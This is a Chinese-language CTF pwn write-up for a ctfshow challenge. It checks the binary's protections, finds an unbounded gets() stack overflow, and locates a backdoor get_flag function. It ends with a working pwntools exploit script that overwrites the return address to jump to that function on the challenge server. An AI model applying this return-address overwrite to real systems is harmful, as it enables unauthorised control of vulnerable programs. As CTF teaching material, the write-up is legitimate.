题目
检查保护
可以看到,32位仅部分开启RELRO保护
pwn的四种保护请参考
pwn四种基本保护_pwn library_folly_zhou的博客-优快云博客
进入32位IDA查看伪代码
进入main函数,按f5进入反编译
进入ctfshow函数
可以看到,在ctfshow函数中,gets函数无限制读取字符串,容易导致栈溢出漏洞
题目提示存在后门函数,可以在函数一栏找到get_flag函数
双击查看get_flag函数,
fopen函数
- 函数功能:打开一个文件
- 头文件:#include<stdio.h>
- 函数原型:
FILE* fopen(
_In_z_ char const* _FileName,
_In_z_ char const* _Mode
);
- 参数说明
filename:想要打开的文件路径及文件名
mode:代表流形式,其中r为只读方式打开
get_flag函数的内容:以只读的形式打开/ctfshow_flag文件,如果打开失败,则输出没有哪个文件或目录,打开成功则输出/ctfshow_flag文件的内容
做题思路
控制程序的流程,使他跳转到get_flag函数,从而输出flag
exp
from pwn import * #导入pwn模块
context(arch='i386',os='linux',log_level='debug')
#io=process('./pwn') #本地测试
io=remote('pwn.challenge.ctf.show',28159) #远程连接
elf=ELF('./pwn')
get_flag=elf.sym['get_flag'] #查找get_flag函数的地址
payload=cyclic(0x28+4)+p32(get_flag) #构造payload
io.sendline(payload) #发送payload
io.interactive() #进入交互模式
输入命令,执行exp.py文件